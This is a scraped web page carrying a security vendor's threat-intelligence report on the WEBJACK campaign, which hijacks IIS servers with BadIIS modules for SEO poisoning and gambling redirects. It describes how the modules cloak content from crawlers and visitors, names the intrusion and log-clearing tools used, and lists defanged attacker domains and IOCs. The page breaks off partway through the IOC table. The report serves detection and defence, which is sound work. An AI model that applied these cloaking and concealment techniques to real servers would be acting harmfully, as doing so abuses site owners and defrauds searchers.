href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/&#038;title=WEBJACK:%20Evolving%20IIS%20Hijacking%20Campaign%20Abuses%20SEO%20for%20Fraud%20and%20Monetization\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=WEBJACK: Evolving IIS Hijacking Campaign Abuses SEO for Fraud and Monetization&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                            <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_5aa01382b784e7935587620daf10666a\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <span class=\"wp-component-author-card__photo-placeholder\" aria-hidden=\"true\">\n                <svg viewBox=\"0 0 64 64\" role=\"presentation\" focusable=\"false\">\n                    <path d=\"M32 34c-8.1 0-14.7 6.6-14.7 14.7v3.5h29.4v-3.5C46.7 40.6 40.1 34 32 34z\"><\/path>\n                    <path d=\"M32 31.2c6 0 10.9-4.9 10.9-10.9S38 9.4 32 9.4s-10.9 4.9-10.9 10.9S26 31.2 32 31.2z\"><\/path>\n                <\/svg>\n            <\/span>\n            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Jeremy Ong<\/h3>\n        \n                \n            <\/div>\n\n<\/div>\n\n                                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <img loading=\"lazy\" decoding=\"async\" width=\"1080\" height=\"1080\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp\" class=\"wp-component-author-card__photo\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp 1080w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-300x300.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-1024x1024.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-150x150.jpg.webp 150w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-768x768.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-447x447.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-700x700.jpg.webp 700w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-146x146.jpg.webp 146w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\" \/>            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Mohammad Kazem Hassan Nejad<\/h3>\n        \n                    <p class=\"wp-component-author-card__meta\">\n                Senior Threat Intelligence Researcher, WithSecure            <\/p>\n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/&#038;title=WEBJACK:%20Evolving%20IIS%20Hijacking%20Campaign%20Abuses%20SEO%20for%20Fraud%20and%20Monetization\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=WEBJACK: Evolving IIS Hijacking Campaign Abuses SEO for Fraud and Monetization&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/webjack\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Introduction<\/h2>\n<p>WithSecure\u2019s STINGR has been investigating a malware campaign, tracked as WEBJACK, which compromises Microsoft IIS servers to deploy malicious IIS modules belonging to the BadIIS malware family. The hijacked servers are being abused for SEO poisoning and fraud, redirecting users to casino, gambling, or betting websites. The threat actor has compromised high-profile targets, including government institutions, universities, tech firms, and many other organizations, abusing their domain reputation to serve fraudulent content through search engine results pages (SERPs).<\/p>\n<p>The initial infection vector remains unknown, but prior BadIIS intrusions have leveraged vulnerable web applications, stolen administrator credentials, and access purchased from initial-access brokers. It is plausible that the WEBJACK operators used similar methods to gain control of the IIS servers before installing their custom modules.<\/p>\n<p>To conduct their attack, the threat actor deployed a variety of tools and malware often circulated within the Chinese-speaking cybercriminal ecosystem. Among other indicators, this highly suggests that a Chinese-speaking threat actor is behind the operation.<\/p>\n<p>WithSecure\u2019s STINGR also noted similar operations recently reported by <a href=\"https:\/\/blog.talosintelligence.com\/uat-8099-chinese-speaking-cybercrime-group-seo-fraud\/\" target=\"_blank\" rel=\"noopener\">Talos<\/a>, <a href=\"https:\/\/unit42.paloaltonetworks.com\/operation-rewrite-seo-poisoning-campaign\/\" target=\"_blank\" rel=\"noopener\">Unit42<\/a>, and <a href=\"https:\/\/www.welivesecurity.com\/en\/eset-research\/ghostredirector-poisons-windows-servers-backdoors-side-potatoes\/\" target=\"_blank\" rel=\"noopener\">ESET<\/a>. These operations share many similarities, including their objectives and TTPs, however we currently track these as related, but separate activity clusters.<\/p>\n<h2>Malicious IIS Module<\/h2>\n<p>The core of WEBJACK lies in its IIS modules. The attacker deployed the malicious IIS modules as \u201cfashttp.dll\u201d (also seen as \u201cfasthttp.dll\u201d) and \u201ccgihttp.dll\u201d. Both were packed with Enigma, a commercial software protector often abused by malware operators to make reverse engineering and detection more difficult.<\/p>\n<p>The DLLs export a \u201c<a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/pfn-registermodule-function\" target=\"_blank\" rel=\"noopener\">RegisterModule<\/a>\u201d function which serves as the entry point for IIS native modules. Inside \u201cRegisterModule\u201d, the module registers a factory that returns instances of a class derived from \u201cCHttpModule\u201d to handle incoming HTTP requests, the same pattern documented in <a href=\"https:\/\/www.trendmicro.com\/en_us\/research\/25\/b\/chinese-speaking-group-manipulates-seo-with-badiis.html\" target=\"_blank\" rel=\"noopener\">earlier<\/a> BadIIS activities. The decompiled code also shows the module constructing the attacker-controlled URL used for page injection and redirector logic. While \u201cRegisterModule\u201d is common to legitimate IIS modules, the combination of this pattern and the URL construction strongly support this sample being a continuation of the BadIIS family, with only slight modifications.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig1-decompiled-iis-code.png.webp\" alt=\"\" \/><\/figure>\n<p>Analysis of these BadIIS malware variants also revealed embedded Program Database (PDB) file paths and compilation timestamps dating to July 2025. Such artifacts provide useful insights into the development environment behind the campaign. The observed PDB strings include:<\/p>\n<ul>\n<li>C:\\Users\\Administrator\\Desktop\\IIS\\IISHijack\\Release\\IISHijack.pdb<\/li>\n<li>C:\\Users\\Administrator\\Desktop\\IIS\\IISHijack\\x64\\Release\\IISHijack.pdb<\/li>\n<\/ul>\n<h2>SEO Fraud Operations<\/h2>\n<p>Using the malicious IIS modules described above, the operator implemented a large-scale search engine manipulation scheme. The module selectively serves attacker-controlled content to search engine crawlers while showing different response (redirects or 404s) to ordinary visitors. The objective is straightforward; the attackers aim to get fraudulent SEO-optimized content indexed across search engines under legitimate domains and then funnel real users who click those indexed links to monetized destinations such as gambling sites.<\/p>\n<p>The module inspects the incoming request and branches based on request characteristics, including:<\/p>\n<ul>\n<li>User-Agent \u2013 to detect crawlers (the code specifically checks for Bingbot, Googlebot, Coccocbot, and Yahoo).<\/li>\n<li>HTTP Referer \u2013 to determine if a human visitor arrived via a search engine result.<\/li>\n<li>Operator configuration \u2013 which determines whether the instance uses page injection, redirector, or link injection logic.<\/li>\n<\/ul>\n<p>Depending on the configuration, the module behaves in one of three modes explained below.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig2-iis-flow-chart.png.webp\" alt=\"\" \/><\/figure>\n<h2>Page Injection<\/h2>\n<p>In this mode, the module serves content from attacker infrastructure such as \u201cseo[.]667759[.]com\u201d and \u201cw3c[.]sneaws[.]com\u201d. Older variants encoded parameters in Base64 using the format: \u201cURL_HOSTS.'[H]&#8217;.$_SERVER[&#8216;REQUEST_URI&#8217;].'[H]VN&#8217;\u201d. The resulting string is appended to the URL path, for example: \u201cw3c[.]sneaws[.]\/&lt;ENCODED_BASE64&gt;\u201d.<\/p>\n<p>Newer variants shift to cleartext parameters, for example: \u201ctdk[.]hunanduodao[.]com\/tdk.php?domain=&lt;REDACTED&gt;.com&amp;path=&lt;REDACTED&gt;.shtml\u201d. If the visitor is not a crawler, the server returns a 404 response.<\/p>\n<p>In many cases the module creates new pages under the compromised domain to host the injected content rather than modifying existing site pages. Serving attacker-controlled content from newly created paths helps conceal the technique by avoiding changes to the site\u2019s visible pages where administrators and users are most likely to notice tampering.<\/p>\n<p>Page injection represents the main mechanism through which the attackers achieve search engine visibility. The module delivers SEO-optimized content and backlinks only to web crawlers, ensuring that search engines index the attacker-controlled pages under legitimate domains. This approach allows the poisoned content to inherit the reputation and ranking of trusted sites, significantly increasing its visibility and likelihood of being clicked. Normal visitors, however, do not see this injected content, they receive the original page or a 404 response, keeping the manipulation hidden while the attackers benefit from the indexed traffic. These indexed results later serve as entry point for redirecting users to monetized destinations such as gambling sites.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig3-iis-content-served.png.webp\" alt=\"\" \/><\/figure>\n<h2>Redirector<\/h2>\n<p>In most deployments, the page injection logic extends with a redirector. The module examines the \u201cHTTP Referer\u201d field to determine where the visitor comes from. If the visitor arrived via Google or another search engine, the module redirects them to gambling websites. If no referrer is present, the server responds with 404.<\/p>\n<p>This behavior represents the monetization phase of the operation. Once the attacker-controlled content is indexed through the page injection mechanism, real users who click those poisoned search results are seamlessly redirected to fraudulent or monetized destinations. These two staged processes, first manipulating search engine indexing, then redirecting legitimate traffic, ensure that the attackers profit from organic search visibility while keeping the underlying compromise hidden from site owners and casual visitors.<\/p>\n<p>By only redirecting users that originates from search results, the threat actors maintain a low operational footprint, reducing the likelihood of detection by administrators manually visiting their websites.<\/p>\n<h2>Link Injection<\/h2>\n<p>In this configuration, the module retrieves a randomized daily link list from the threat actors\u2019 servers such as \u201cseo[.]667759[.]com\u201d or \u201cgoogle[.]sneaws[.]com\/getpath\u201d and inserts it at the top of the page, but only when a crawler visits. Non-crawler visitors simply see the original page, concealing the fraud operations entirely.<\/p>\n<p>The primary purpose of this behavior is backlink generation and rank manipulation. By injecting backlinks and tailored anchor text on many otherwise reputable compromised domains, the operators attempt to transfer credibility and relevance to their attacker-controlled pages. Rotating the link list daily helps the links appear fresh and less suspicious, while distributing links across many hosts scales the effect and makes takedown more difficult. These techniques are consistent with known black-hat SEO strategies. They increase perceived authority and topical relevance, so attacker pages are more likely to appear in search results, which are then monetized through the page-injection and redirector stages.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig4-randomized-links.png.webp\" alt=\"\" \/><\/figure>\n<h2>Tooling &amp; Payloads<\/h2>\n<p>Beyond the malicious IIS modules, the threat actor staged a range of tools and malware on the compromised servers to conduct their post-compromise activity. These tools are widely available in China\u2019s red-team and penetration-testing communities but have been repurposed here for malicious use:<\/p>\n<ul>\n<li>XlAnyLoader \u2013 a shellcode loader used to execute \u201cca.bin\u201d payload. It is unclear what \u201cca.bin\u201d contained, but the loader can run any payload converted with <a href=\"https:\/\/github.com\/TheWover\/donut\/tree\/master\" target=\"_blank\" rel=\"noopener\">Donut<\/a>, which generates shellcode from PE files. This allows the execution of Cobalt Strike, Mimikatz, or any custom implants. The tool is actively marketed in Chinese language forums as being able to bypass popular antivirus solutions.<\/li>\n<li>SoftEther VPN \u2013 commonly abused by threat actors in malware campaigns for remote access and tunnelling. The VPN installers dropped in this campaign were infected with the \u201cm0yv\u201d file infector, a parasitic virus that attaches itself to executables. This could indicate that the attackers sourced the software from a compromised repository, or that they themselves were already infected.<\/li>\n<li>FScan \u2013 a popular internal network scanner used for reconnaissance, was also observed carrying the \u201cm0yv\u201d infection.<\/li>\n<li>Sharp4RemoveLog \u2013 a utility written in .NET to clear all Windows event logs, typically used to erase forensic traces.<\/li>\n<li>CnCrypt Protect \u2013 a Chinese file-protection utility. It offers capabilities such as file and registry protection, DLL and drive interception, file redirection, port redirection, and other interception\/protection features. <a href=\"https:\/\/mp.weixin.qq.com\/s\/TCrtN94jIMg7PLpfGquAYw\" target=\"_blank\" rel=\"noopener\">In intrusion context it has been abused to hide malicious files and support DLL redirection to malicious DLLs, increasing the operator\u2019s ability to conceal artifacts on compromised hosts.<\/a><\/li>\n<li>GoToHTTP \u2013 a HTTP-based remote-control\/C2 utility, also observed carrying the \u201cm0yv\u201d infection.<\/li>\n<li>Cobalt Strike beacon \u2013 observed on compromised servers. One beacon connected externally to \u201c79[.]142[.]76[.]244\u201d, while another instance was seen communicating with an internal IP, likely routed through SoftEther VPN.<\/li>\n<\/ul>\n<p>The use of these tools reflects how penetration-testing and red-team utilities are increasingly being adopted by threat actors. Instead of developing custom malware, they rely on what is already effective, trusted, and easily available.<\/p>\n<h2>Infrastructure Insights<\/h2>\n<p>We identified at least 112 compromised domains running IIS servers as part of this campaign, with at least 65% located in Vietnam. The remainder were spread across Latin America and Asia, with a few isolated cases identified in Europe such as France. The true number is likely higher, as additional compromised servers may not yet have been uncovered.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig5-iis-heatmap.png.webp\" alt=\"\" \/><\/figure>\n<p>The affected domains spanned a mix of sectors, most notably government, education, and public service websites, suggesting the operators opportunistically compromise high-profile or high-traffic IIS servers to maximize visibility for their SEO fraud operations rather than pursuing sector-specific objectives.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig6-iis-sectors.png.webp\" alt=\"\" \/><\/figure>\n<p>During investigation, PHP error messages leaked from threat actor-controlled servers. These exposed backend file paths such as:<\/p>\n<ul>\n<li>\/www\/wwwroot\/seo[.]667759[.]com\/core\/urlecxcel.php<\/li>\n<li>\/www\/wwwroot\/google[.]sneaws[.]com\/core\/urlecxcel.php<\/li>\n<li>\/www\/wwwroot\/google2[.]sneaws[.]com\/core\/pdo.php<\/li>\n<\/ul>\n<p>Additional errors also revealed URLs like:<\/p>\n<ul>\n<li>Warning: file_get_contents(https:\/\/jkt[.]667759[.]com\/serveradmin.php?Method=index&amp;Pajax=successfml): failed to open stream: HTTP request failed!<\/li>\n<li>Warning: file_get_contents(https:\/\/jk[.]667759[.]com\/serveradmin.php?Method=index&amp;Pajax=success): failed to open stream: HTTP request failed!<\/li>\n<li>Warning: file_get_contents(https:\/\/jk[.]667759[.]com\/serveradmin.php?Method=index&amp;Pajax=success): failed to open stream: HTTP request failed!<\/li>\n<\/ul>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig7-iis-error-message.png.webp\" alt=\"\" \/><\/figure>\n<p>These errors are significant because they revealed the backend architecture powering the SEO fraud and redirection systems. They also showed that the threat actors were working in a messy live environment where configuration errors exposed their infrastructure. Further analysis of several web panels linked to the infrastructure uncovered Chinese words and developer comments embedded within the panel code and HTML templates. This linguistic evidence reinforces the campaign\u2019s Chinese nexus, aligning with the tooling and behavioral patterns observed throughout the operation.<\/p>\n<p>This exposure provided valuable pivot points for mapping related infrastructure, identifying compromised victims, and tracking the operators\u2019 border activity set.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig8-chinese-error-backend.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig9-chinese-words-backend-panel.png.webp\" alt=\"\" \/><\/figure>\n<h2>Downstream Victimology<\/h2>\n<p>The injected content showed a strong focus on gambling-related keywords and regional targeting across Southeast Asia and Latin America. Keywords included bet, casino, vegas, zinga, fun88, and many others. Approximately 70% of the keywords were in Vietnamese, with the remainder in English and Spanish.<\/p>\n<p>Compromised sites, mostly educational institutions, provincial government portal, and small business websites, remained largely in their original languages, with Vietnamese and Thai pages among the most common in Asia, and Spanish pages prevalent across the Latin American infections. This reinforces the campaign\u2019s focus on local-language SEO manipulation to attract users searching for gambling or \u201cquick win\u201d opportunities in their own regions.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig10-iis-search-result.png.webp\" alt=\"\" \/><\/figure>\n<h2>Attribution<\/h2>\n<p>The tools and operational characteristics observed in this campaign indicate a strong Chinese nexus. Tools such as XlAnyLoader, FScan, Sharp4RemoveLog, and CnCrypt Protect are of Chinese origin and widely used in both red-team and intrusion contexts.<\/p>\n<p>One of the dominant threat actors engaging in such operations as highlighted in previous reporting is DragonRank. However, attribution of this activity cluster to DragonRank remains low. The group\u2019s Telegram contact shifted from \u201ctttseo\u201d to \u201cggfa55\u201d, as reflected on their website \u201cttseo66[.]com\u201d, suggesting the DragonRank remains active. However, this campaign lacked other strong DragonRank hallmarks such as PlugX or the \u201cmail[.]tttseo[.]com\u201d C2 server. DragonRank also continues to openly promote its services on legitimate websites globally though SEO poisoning, while WEBJACK appears to be a narrower monetization-focused operation.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig11-dragonrank-website.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/webjack-fig12-dragonrank-search-result.png.webp\" alt=\"\" \/><\/figure>\n<h2>Mitigation<\/h2>\n<p>To mitigate the risk of IIS hijacking similar to WEBJACK, organizations should proactively monitor for unauthorized IIS modules such as \u201cfashttp.dll\u201d or \u201ccgihttp.dll\u201d. Continuous monitoring and auditing of network traffic and system logs can help surface suspicious behaviour early on, especially when servers return different content to crawlers versus regular visitors. Outbound connections to known threat actor infrastructure should also be closely tracked.<\/p>\n<p>Since the campaign made use of widely available tools like XlAnyLoader, Fscan, Sharp4RemoveLog, and CnCrypt, organizations should remain alert for their presence within enterprise environments. These tools may not always be malicious in isolation, but their deployment alongside IIS hijacking activity is a strong indicator of compromise.<\/p>\n<p>By combining proactive module checks with behavioural monitoring of both network traffic and tool usage, organizations can significantly reduce the likelihood of this activity escalating into data theft.<\/p>\n<h2>Conclusion<\/h2>\n<p>WEBJACK illustrates how IIS hijacking continues to evolve. The threat actors combined custom modules with Chinese developed red-team tools, enabling SEO poisoning, gambling traffic redirection, and effective concealment of their activities.<\/p>\n<p>The campaign\u2019s targeting reflects a deliberate focus on Southeast Asia audiences, particularly Vietnamese and Thai speakers, demonstrating how operators tailor SEO-driven operations to specific regional and language communities to maximize reach and profit.<\/p>\n<p>While WEBJACK currently appears focused on SEO fraud and gambling redirection, the use of tools such as CnCrypt Protect and XlAnyLoader shows a growing trend of leveraging legitimate security and administrative software for persistence, concealment, and post-exploitation flexibility. As with previous BadIIS campaigns, IIS hijacking continues to pose significant risks that will go beyond SEO abuse.<\/p>\n<p>Special thanks to Bert Steppe for his contributions to the investigation.<\/p>\n<h2>TTP<\/h2>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"141\"><b>Tactics<\/b><\/td>\n<td valign=\"top\" width=\"208\"><b>Technique<\/b><\/td>\n<td valign=\"top\" width=\"252\"><b>Descriptions<\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Initial Access<\/td>\n<td valign=\"top\" width=\"208\">T1190 \u2013 Exploit Public-Facing Application<\/td>\n<td valign=\"top\" width=\"252\">Malicious native modules (fashttp.dll, cgihttp.dll) were deployed to public web servers.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Persistence<\/td>\n<td valign=\"top\" width=\"208\">T1505 \u2013 Server Software Component<\/td>\n<td valign=\"top\" width=\"252\">Malicious native IIS modules export \u201cRegisterModule\u201d and register \u201cCHttpModule\u201d-style handlers, persisting functionality inside IIS.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Execution<\/td>\n<td valign=\"top\" width=\"208\">T1055 \u2013 Process Injection<\/td>\n<td valign=\"top\" width=\"252\">XlAnyLoader used to load ca.bin (Donut-converted payloads), the loader behavior is consistent with in-memory payload execution.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"3\" valign=\"top\" width=\"141\">Defense Evasion<\/td>\n<td valign=\"top\" width=\"208\">T1027.002 \u2013 Software Packing<\/td>\n<td valign=\"top\" width=\"252\">fashttp.dll and cgihttp.dll were packed with Enigma to hinder analysis and detection.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"208\">T1070.001 \u2013 Clear Windows Event Logs<\/td>\n<td valign=\"top\" width=\"252\">Sharp4RemoveLog observed on hosts, a utility that clears security, application and system logs.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"208\">T1564.001 \u2013 Hide Files and Directories<\/td>\n<td valign=\"top\" width=\"252\">CnCrypt Protect has features that can conceal malicious files.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Discovery<\/td>\n<td valign=\"top\" width=\"208\">T1046 \u2013 Network Service Scanning<\/td>\n<td valign=\"top\" width=\"252\">FScan observed on hosts for intranet reconnaissance and vulnerability discovery.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Credential Access<\/td>\n<td valign=\"top\" width=\"208\">T1003 \u2013 OS Credential Dumping<\/td>\n<td valign=\"top\" width=\"252\">XlAnyLoader can load Donut payloads such as Mimikatz, Cobalt Strike was also present, a potential for credential dumping.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Command &amp; Control<\/td>\n<td valign=\"top\" width=\"208\">T1071.001 \u2013 Web Protocols<\/td>\n<td valign=\"top\" width=\"252\">Cobalt Strike beaconing observed. GoToHTTP was also observed on hosts.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Lateral Movement<\/td>\n<td valign=\"top\" width=\"208\">T1572 \u2013 Protocol Tunneling<\/td>\n<td valign=\"top\" width=\"252\">SoftEther VPN deployed on hosts, observed internal-IP command traffic and VPN artifacts consistent with traffic being tunneled\/routed.<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"141\">Persistence<\/td>\n<td valign=\"top\" width=\"208\">T1574 \u2013 Hijack Execution Flow<\/td>\n<td valign=\"top\" width=\"252\">CnCrypt Protect has features allowing DLL\/drive interception and file redirection.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Indicators of Compromise (IOCs)<\/h2>\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"94\"><b>Type<\/b><\/td>\n<td valign=\"top\" width=\"386\"><b>Value<\/b><\/td>\n<td valign=\"top\" width=\"121\"><b>Description<\/b><\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">IPv4 Address<\/td>\n<td valign=\"top\" width=\"386\">79[.]142[.]76[.]244<\/td>\n<td valign=\"top\" width=\"121\">Cobalt Strike C2 address<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">tdk[.]hunanduodao[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">tdk[.]jmfwy[.]com<\/td>\n<td valign=\"top\" width=\"121\">IIS C2<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"94\">Domain<\/td>\n<td valign=\"top\" width=\"386\">jiankong[.]sneaws[.]com<\/td>\n<td 